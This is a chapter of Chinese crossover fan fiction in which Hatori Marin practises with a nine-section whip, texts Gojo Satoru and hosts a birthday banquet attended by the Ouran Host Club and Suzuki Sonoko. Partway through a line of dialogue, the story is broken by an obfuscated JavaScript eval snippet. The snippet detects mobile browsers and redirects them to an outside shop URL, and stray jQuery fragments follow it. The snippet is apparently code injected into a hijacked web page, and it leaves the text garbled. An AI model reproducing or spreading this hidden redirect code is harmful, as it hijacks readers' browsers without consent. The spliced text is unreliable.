从睦月亭回到家之后,羽鸟真凛在自己房间里练习了两个半小时的小提琴。
夜色渐浓,随着德彪西《月光》的最后一个音节散落在空气中,她轻轻放下弓和琴,揉了揉颈肩,目光不由自主地飘向房间一角。
那根九节鞭正躺在沙发上,银色的金属面在灯下泛着冷冽的光。
五条悟就这么理所当然地把这东西交给她了,好像没考虑过她会不会使用吧?
不像刀或者剑可以直接挥舞,这东西运用起来应该需要一定的技巧,看起来很难驾驭。
尽管她不敢想象自己打咒灵的场面,但如果有这个必要,她亦不会退缩。
是不是练习一下比较好呢,毕竟有备无患。
她深吸一口气,握住了鞭柄,试着轻轻摆动了一下,环环相扣的鞭节发出清脆的碰撞声。
然后,她走到房间中央的空地,试着想象体操运动员挥舞体操棒的感觉,用力将九节鞭向前一甩。
金属鞭如同扑向猎物的蛇,银光一闪。
……好中二,羞耻度爆表!
但又有些莫名的兴奋是怎么回事?莫非姗姗来迟的中二之魂终于在将满17岁时觉醒了吗?
她再次抡起鞭,这次她配合上身体的动作,九节鞭在空中划出优雅的弧线,她便随着鞭的轨迹旋转身体,九节鞭在空中忽左忽右的打着旋儿。
她忘我地挥舞、回旋,一时之间圆环与鞭节碰撞在一起欢快地响着,下一刻鞭头直奔柜上子那只陶瓷花瓶。
啪!花瓶应声碎了一地。
她急忙收回鞭,这回奔着墙上的挂画而去,画框的玻璃罩面瞬间裂开。惊慌之中,鞭又扫过了梳妆台上的一排瓶罐,噼里啪啦砸掉了一地东西,荣获桌面清洁大师的称号。
“呃……”羽鸟真凛看着一片狼藉眉头直抽。
“真凛小姐?!发生了什么?”
焦急的敲门声响了几下后,门直接被打开,进来一个金发女仆。
“失礼了小姐,我进来了……呀!”女仆看着地面吓了一跳,再看看她,这是知书达礼端庄斯文的真凛小姐干的事吗?
“这、这是……发生了什么吗?”
“这里没事呀,”她将九节鞭死死地藏在身后,睁着眼瞎说:“我只是在打蚊子。”
“真的吗,小姐,看着仿佛被小型炸弹炸过一样?”
“当然啦,因为我下手很重,你知道的,对待害虫绝不能心慈手软。”她镇定自若地说道,“哦对了,这种小事千万不要惊动了父亲和母亲,莉莲,我不想让他们担心。”
“知道了,小姐,我这就去拿清洁工具。”
“麻烦你了。”
重新打扫干净的房间里再次回归安静,羽鸟真凛拿起手机,打开邮件,编辑信息。
「五条君给的咒具有些厉害过头了。
稍微用了一下卧室立刻就被毁成犯罪现场了。= =||| 」
发送。
出乎意料地回信很快。
「哇这么惨烈
还以为,多少会残留一些肌肉记忆让你能够顺利使用呢。 」
肌肉记忆?羽鸟真凛盯着这个词愣了一下。她还没来得及回复,下一条信息又发了过来:
「没关系,我来教你用。
毕竟是我送的礼物,总要负责售后嘛。(笑)」
礼物?
当时他只说是给她用来防身的,现在却突然变成了一件礼物?
这个词本身就自带一种奇特的温度,它应该是情感的载体,它应该饱含着赠予者的某种心意……所以,他会是怎么样的心意?
无力再想下去,羽鸟真凛捂着面颊倒向床,微卷的长发凌乱地铺散在床单上,就像她此刻弥漫开来的那股微妙的、说不清的情绪。
缓了一会儿,她才慢吞吞打字。
「那什么时候开始?」
「可能要过一阵,明天又有任务(好烦呐><>
「是吗,五条君的任务就是斩杀咒灵?」
「对。咒术师常年人手不足,能力拔尖的人才只好全国各地到处跑啦。」
看着文字她似乎都能听见五条悟那得意的腔调。
「真不巧,本想邀请你来我的生日宴。
祝你顺利吧,蛋糕要不要给你留一点?」
「生日上的蛋糕味道总是会打折扣,但如果有Marin’s rose可以多给我留一点~」
Marin’s rose
——真凛的玫瑰。
是指她做的玫瑰形状的菓子?他什么时候取的名字啊?
看着屏幕上的字,笑意似乎难以遏制地轻轻攀上唇角,过后她又无可奈何地摇摇头。
明明已经给了他三盒还嫌不够。
「你的胃是黑洞吧?」
·
三日后。
羽鸟真凛的生日宴在羽鸟宅如期举行。
晚上七点,数盏水晶吊灯璀璨绽放,将整个会场映照如白昼,大厅角落里乐队正演奏着舒缓的古典乐。
虽说是生日宴,其实她未必是主角,不如说是一场借她生日之名举办的、维系羽鸟家人脉关系的社交盛宴。
到场的大多是羽鸟家邀请的各界企业家和高管,觥筹交错间,他们交换着对市场的预判,谈论着最新的投资动向等等。
羽鸟真凛真正熟悉的宾客寥寥无几,对这种场合尽管十分不喜欢,她依旧要笑着跟每个来宾都打照面。
“几年未见,羽鸟家的小姐已经出落得如此亭亭玉立了。”一位发髻梳得一丝不苟的会长夫人说道。
“夫人您过誉了。”羽鸟真凛微微颔首,这样的对话在今夜已经重复了太多次。
“听说羽鸟小姐在樱兰的成绩相当出色呢,不像我家不成器的犬子。”另一位姓远野的夫人手执香槟轻笑。
blablabla……
交谈中羽鸟真凛保持着笑意,目光不由自主地扫过整个大厅,公关部的成员似乎还没到,也只有那几个人是她自己邀请的。
“真凛小姐,好久不见!”
爽朗的女声响起,羽鸟真凛循声望去,茶色短发齐肩的少女面带活泼笑容,身穿利落的红色高定长裙,头上的珍珠发箍泛着温润光泽。
是铃木财团的二小姐,羽鸟真凛曾与她在其他宴会上见过几面。对方年纪比她小,目前就读于帝丹高中一年级。
“园子小姐,贵安,很高兴见到你。”羽鸟真凛依照礼仪屈身回礼,话音未落就被对方热情地握住双手。
“哇,你今晚真是美呆了耶!”少女真诚地夸奖道,丝毫不拘束。
这位铃木财团的千金言行举止向来洒脱,给羽鸟真凛留下过很好的印象。反观她,出席社交场合时活脱脱一具戴着镣铐的提线木偶。
说实话,她很羡慕对方。
“不过,”铃木园子俏皮地凑近过来,“穿着这种裙子社交应该很累吧?”
她身穿的是黎巴嫩设计师以“鸟”作为主题制作的礼服,清雅的淡紫色抹胸纱裙,极衬她的白肤,缀着碎钻的上身闪着细腻星光,手工裁剪的小羽毛装饰稀疏交错,由腰际一直延伸至裙摆,在流动的空气中轻盈地漂浮。
“的确很累啊。”羽鸟真凛用只有两人能听见的音量说,“说实话,恨不得当场脱掉的程度!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604563|187505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
两个女生相视一笑,倒是有几分合拍。
铃木园子凑到她耳边,神色异常兴奋:“对了,我听说你们学校那个超有名的男公关部都是帅哥欸!他们会来吗?”
“我有正式地邀请过他们,不出意外的话……”
正说到这里,大厅的双扇门便被“哗啦”一声推开。
以须王环为首,一众花美男闪亮登场。
男公关部全员身穿礼服,仿佛自带花瓣背景,比平时更加华丽耀眼。
扑面而来的华丽风格让她一瞬间幻视歌舞伎町街头牛郎俱乐部的大屏幕广告。
不不,赶紧甩开这种不对劲的念头。
须王环阔步走来,执起羽鸟真凛的手行了个标准的吻手礼:“哦,真凛小姐!今夜你眼里的星光,如同永恒的钻石一般璀璨。”
出现了,永远浮夸在线的笨蛋殿下。
双胞胎常陆院兄弟一左一右从须王环身后冒出,将后者的脑袋一把按下。
“但我们觉得羽鸟学姐比钻石更耀眼呢~”两人异口同声。
一个二个的都这么嘴甜,属于是专业对口,男公关本色了,她暗想。
“小凛,生日快乐!”埴之冢光邦小步跃上前,圆溜溜的大眼睛里盛着欢喜。
不愧是Honey前辈,可爱无敌。
“羽鸟学姐,生日快乐。”紧接着,藤冈春绯也走过来,短发女孩清澈的杏眼无比真诚。
沉默寡言的铦之冢崇学长随之点了点头。
“谢谢大家的祝福,”羽鸟真凛内心一暖,荡开真实的笑意,声音轻快了几分:“很高兴大家今天能赏光,请尽情地享受宴会。”
“向各位介绍一下,”她留意到铃木园子眼里那股灼热的目光,于是将她牵引至众人面前介绍道:“这位是铃木财团的千金,铃木园子,她很想认识各位呢。”
“哦!铃木财团的大名如雷贯耳。”须王环优雅欠身,绅士地行礼:“在下须王环,很高兴认识你,美丽的园子小姐。”
“您、您好!须王先生……不,王子殿下!”园子捧着发红的脸颊,双眼被对方自带的闪耀光环填满。
见铃木园子已经与公关部众人热切地攀谈了起来,羽鸟真凛的目光越过众人,落在进门后唯一没开口的凤镜夜身上。
“镜夜,在想什么?”
“只是在想这件裙子很适合你。”黑发男生维持着一向的冷静自持。
沉静的目光落在她身上,说:“就像为了寻找属于自己的天空振翅而飞的青鸟,不是吗?”
闻言,她搓了搓不存在的鸡皮疙瘩。
“哇,你什么时候开始走环同学的路线了?”
“谁跟那个浮夸笨蛋一样,我是说实话。”
“哦。对了,镜夜送来的礼物下午已经收到了。”她说:“谢谢,我很喜欢。”
自从上次她稍作坦言之后,镜夜想必已经明白她对婚约的态度,二人僵化的关系也稍有缓和。
接下来她的计划是等待合适的时机,向父亲提出解除与凤家的婚约。
“你中意就好。”凤镜夜轻轻一笑,而后视线转向宴会厅另一端:“我去和伯父打个招呼。”
说罢,他朝羽鸟谦一郎走去,后者一见到这位世交之子,立即热情地张开双臂迎接,眼角的笑纹都藏着毫不掩饰的欣喜与满意。
这种情形……
该如何向父亲提出解除婚约真是个难题。
羽鸟真凛忍不住按了按太阳穴。
这时手包里传出一阵震动。
她转过身,背着人群摸出手机,屏幕亮起,五条悟三个字猝不及防地跳进眼帘。